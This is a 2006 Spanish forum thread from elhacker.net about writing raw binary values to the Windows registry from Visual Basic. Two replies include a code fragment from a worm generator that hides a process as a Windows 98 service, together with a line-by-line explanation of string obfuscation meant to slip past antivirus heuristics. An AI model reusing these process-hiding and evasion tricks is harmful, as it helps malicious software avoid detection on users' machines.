elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  REG_BINARY
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: REG_BINARY  (Leído 7,488 veces)
Kizar


Desconectado Desconectado

Mensajes: 1.325


kizar_net


Ver Perfil
REG_BINARY
« en: 25 Febrero 2006, 23:49 pm »

Al guardar en el registro una variable binaria se como hacerlo, pero si yo tengo el codigo en binario no se como acer k me lo guarde tal cual.

Por ejemplo, yo tengo esto en binario:

01 00 14 80 90 00 00 00 9C 00 00 00 14 00 00 00 30 00 00 00 02 00 1C

y quiero k me lo guarde en el registro tal cual esta.

Alguien sabe?


Salu2


En línea

Kizar


Desconectado Desconectado

Mensajes: 1.325


kizar_net


Ver Perfil
Re: REG_BINARY
« Respuesta #1 en: 27 Febrero 2006, 13:14 pm »

Puff ¿nadie sabe?

Es k e podido leer datos binarios de el registro con este codigo tan simple:
http://www.trucoswindows.net/foro/topico-198-manejo-basico-del-registro.html

Pero a la ora de escribir no se como poner los datos para k me les guarde como yo quiero.

Lo necesito para poder acer un modulo k publicare en el foro para agregar un servicio al sistema.

Salu2 k1z4r


En línea

Gorky


Desconectado Desconectado

Mensajes: 770



Ver Perfil WWW
Re: REG_BINARY
« Respuesta #2 en: 2 Marzo 2006, 16:34 pm »

Casualmente vamos los dos tras lo mismo: Añadir un nuevo servicio.
Yo tambien estoy teniendo problemas para escribir el Security de un servicio. Pero me puse a buscar por la paginas de Gedzac y encontre un generador de gusanos. Segun selecciones unas opciones u otras te va dando un codigo distinto en VB. Entre ellas esta la opcion de registar el proceso como servicio. Si solo seleccionas eso te da lo siguiente.
Código:
Private Sub Form_Load()
On Error Resume Next

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Ws = CreateObject("Wscript.Shell")
Set DirWindows = Fso.GetSpecialFolder(0)
Set DirSystem = Fso.GetSpecialFolder(1)
Set DirTemporal = Fso.GetSpecialFolder(2)
Set WsNet = CreateObject("WScript.Network")
MiNombre = App.Path & "\" & App.EXEName & ".exe"

Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", StrReverse(Replace(Replace(Replace(Replace(Replace("CVZDFGam1lmeX", "V", "A"), "F", "E"), "a", "/"), "1", "i"), "X", "N"))
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", StrReverse(Replace(Replace(Replace(Replace(Replace(Replace("rLtqer4 edL4 3frfX 3fsqB lqusfX", "X", "V"), "f", "i"), "q", "a"), "3", "c"), "4", "C"), "L", "o"))
Dim ProcessID As Long
ProcessID = GetCurrentProcessId()
retval = RegisterServiceProcess(ProcessID, RSP_SIMPLE_SERVICE)


End Sub

Y un modulode variables:
Código:
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Public MiNombre As String
Public Fso As Object
Public Ws As Object
Public WsNet As Object
Public DirSystem As Object
Public DirWindows As Object
Public DirTemporal As Object

Despues de darle muchas vueltas no consigo ver como lo hace. Tantos Replace me vuelven loco. Ademas tampoco me cuadra porque las dos entrada que cita no aparece en el registro.
Si tu eres capaz de comprenderlo pues perfecto pero me gustaria que si lo consigues que explicases aqui o por IM el funcinamiento.
En línea

.Slasher-K.

Desconectado Desconectado

Mensajes: 79


Ver Perfil
Re: REG_BINARY
« Respuesta #3 en: 2 Marzo 2006, 17:16 pm »

Código:
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, ByVal lpdwDisposition As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Byte, ByVal cbData As Long) As Long

Function RegWriteBin(ByVal Data As String) As Boolean
      Dim btData() As Byte
      Dim hKey&, r&

  btData = StrConv(Data, vbFromUnicode)
 
  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    r = RegSetValueEx(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), Len(Data))
    r = RegCloseKey(hKey)
   
    RegWriteBin = (r = ERROR_SUCCESS)
  End If
End Function
En línea

Kizar


Desconectado Desconectado

Mensajes: 1.325


kizar_net


Ver Perfil
Re: REG_BINARY
« Respuesta #4 en: 2 Marzo 2006, 17:31 pm »

Eeste codigo registra servicios en win 98 en xp eso ya no funciona.
Comento el codigo linea por linea.

Citar
Option Explicit
Private Const RSP_SIMPLE_SERVICE = 1 'constante para registrar un servicio
Private Const RSP_UNREGISTER_SERVICE = 0 'constante para quitar un servicio
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long 'Api Coge el id de nuestro programa
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long 'Api que registra el servicio
'******   Variables
Private MiNombre As String
Private Fso As Object
Private Ws As Object
Private WsNet As Object
Private DirSystem As Object
Private DirWindows As Object
Private DirTemporal As Object

Private Sub Form_Load() ' Al cargar el programa....
On Error Resume Next
Dim ProcessID As Long

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Ws = CreateObject("Wscript.Shell")
Set DirWindows = Fso.GetSpecialFolder(0) 'cogemos el directorio de windows
Set DirSystem = Fso.GetSpecialFolder(1) 'cogemos el directorio de system32
Set DirTemporal = Fso.GetSpecialFolder(2) 'cogemos el directorio temporal
Set WsNet = CreateObject("WScript.Network") 'creamos un socket
MiNombre = App.Path & "\" & App.EXEName & ".exe" 'La ruta completa de este programa

Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", StrReverse(Replace(Replace(Replace(Replace(Replace("CVZDFGam1lmeX", "V", "A"), "F", "E"), "a", "/"), "1", "i"), "X", "N")) '"Nemlim/GEDZAC"
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", StrReverse(Replace(Replace(Replace(Replace(Replace(Replace("rLtqer4 edL4 3frfX 3fsqB lqusfX", "X", "V"), "f", "i"), "q", "a"), "3", "c"), "4", "C"), "L", "o")) ' "Visual Basic Viric Code Creator"

ProcessID = GetCurrentProcessId() 'LLamamos a la api para coger el id de nuestro proceso
retval = RegisterServiceProcess(ProcessID, RSP_SIMPLE_SERVICE) 'llamamos a la api para registrar el servicio
End Sub

Lo de usar las funciones StrReverse y Replace es para que los antivirus con la heuristica no detecten el texto que se ha querido poner.

Sigo queriendo investigar lo de guardar mediante las apis un valor binario en el registro. El codigo que uso es este, pero no guarda los valores como yo quiero.

Código:
Const REG_SZ = 1
Const REG_BINARY = 3
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
    'Create a new key
    RegCreateKey hKey, strPath, Ret
    'Set the key's value
    RegSetValueEx Ret, strValue, 0, REG_BINARY, strData, Len(strData)
    'close the key
    RegCloseKey Ret
End Sub

'SaveStringLong HKEY_CURRENT_USER, "S", "BinaryValue", "00 01 02 3D 05"

Salu2

En línea

.Slasher-K.

Desconectado Desconectado

Mensajes: 79


Ver Perfil
Re: REG_BINARY
« Respuesta #5 en: 2 Marzo 2006, 17:44 pm »

Código:
Function RegWriteBin(ByVal Data As String) As Boolean
      Dim btData() As Byte
      Dim sChar$(), i&
      Dim hKey&, r&

  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    sChar = Split(Data, " ")
    ReDim btData(UBound(sChar)) As Byte
   
    For i = 0 To UBound(sChar) - 1
      btData(i) = Val("&H" & sChar(i))
    Next
   
    r = RegSetValueEx(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), UBound(sChar))
    r = RegCloseKey(hKey)
   
    RegWriteBin = (r = ERROR_SUCCESS)
  End If
End Function
« Última modificación: 2 Marzo 2006, 18:06 pm por .Slasher-K. » En línea

Kizar


Desconectado Desconectado

Mensajes: 1.325


kizar_net


Ver Perfil
Re: REG_BINARY
« Respuesta #6 en: 2 Marzo 2006, 17:48 pm »

Va muy bien ese code, pero tengo una duda mas, lo que hace es convertir la string a binario
Código:
StrConv(Data, vbFromUnicode)

¿como puedo convertir de binario a string?

Salu2
En línea

.Slasher-K.

Desconectado Desconectado

Mensajes: 79


Ver Perfil
Re: REG_BINARY
« Respuesta #7 en: 2 Marzo 2006, 18:06 pm »

Código:
Function RegReadBin() As String
      Dim btData() As Byte
      Dim lBufferLen&, i&
      Dim hKey&, r&

  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    lBufferLen = 2048
   
    ReDim btData(lBufferLen) As Byte
   
    sData = String$(lBufferLen, 0)
   
    r = RegQueryValueExByte(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), lBufferLen)
   
    If r = ERROR_SUCCESS Then
      RegReadBin = Left$(StrConv(btData, vbUnicode), lBufferLen)
    End If
 
    r = RegCloseKey(hKey)
 
  End If
End Function
En línea

Kizar


Desconectado Desconectado

Mensajes: 1.325


kizar_net


Ver Perfil
Re: REG_BINARY
« Respuesta #8 en: 2 Marzo 2006, 19:42 pm »

EL code para leer que as puesto va de lujo, pero sigo sin saber como resolver mi problema:

Lo que quiero acer es guardar en un valor binario de el registro esto:
Código:
................0.................................`......................................... ... ....................................... ...#...........................
o esto en binario, que es lo mismo de arriba:
Código:
01001480900000009C000000140000003000000002001C000100000002801400FF010F00010100000000000100000000020060000400000000001400FD01020001010000000000051200000000001800FF010F0001020000000000052000000020020000000014008D01020001010000000000050B00000000001800FD01020001020000000000052000000023020000010100000000000512000000010100000000000512000000

Guardando ese texto con el code que as puesto guarda otros datos distintos a los k tendria k guardar.

Muchas gracias
En línea

.Slasher-K.

Desconectado Desconectado

Mensajes: 79


Ver Perfil
Re: REG_BINARY
« Respuesta #9 en: 2 Marzo 2006, 20:15 pm »

Código:
Function RegWriteBin(ByVal Data As String) As Boolean
  On Error Resume Next
 
      Dim btData() As Byte
      Dim hKey&, r&
      Dim i&

  Data = Replace$(Data, " ", vbNullString)

  If (Len(Data) Mod 2) <> 0 Then Data = Data & "0"

  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    ReDim btData(Len(Data) \ 2) As Byte
   
    For i = 1 To (Len(Data) \ 2) Step 2
      btData(i) = Val("&H" & Mid$(Data, i, 2))
    Next
   
    r = RegSetValueEx(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), Len(Data) \ 2)
    r = RegCloseKey(hKey)
   
    RegWriteBin = (r = ERROR_SUCCESS)
  End If
End Function

Pensé que usabas los espacios (01 00 14 80 90)
« Última modificación: 2 Marzo 2006, 20:18 pm por .Slasher-K. » En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines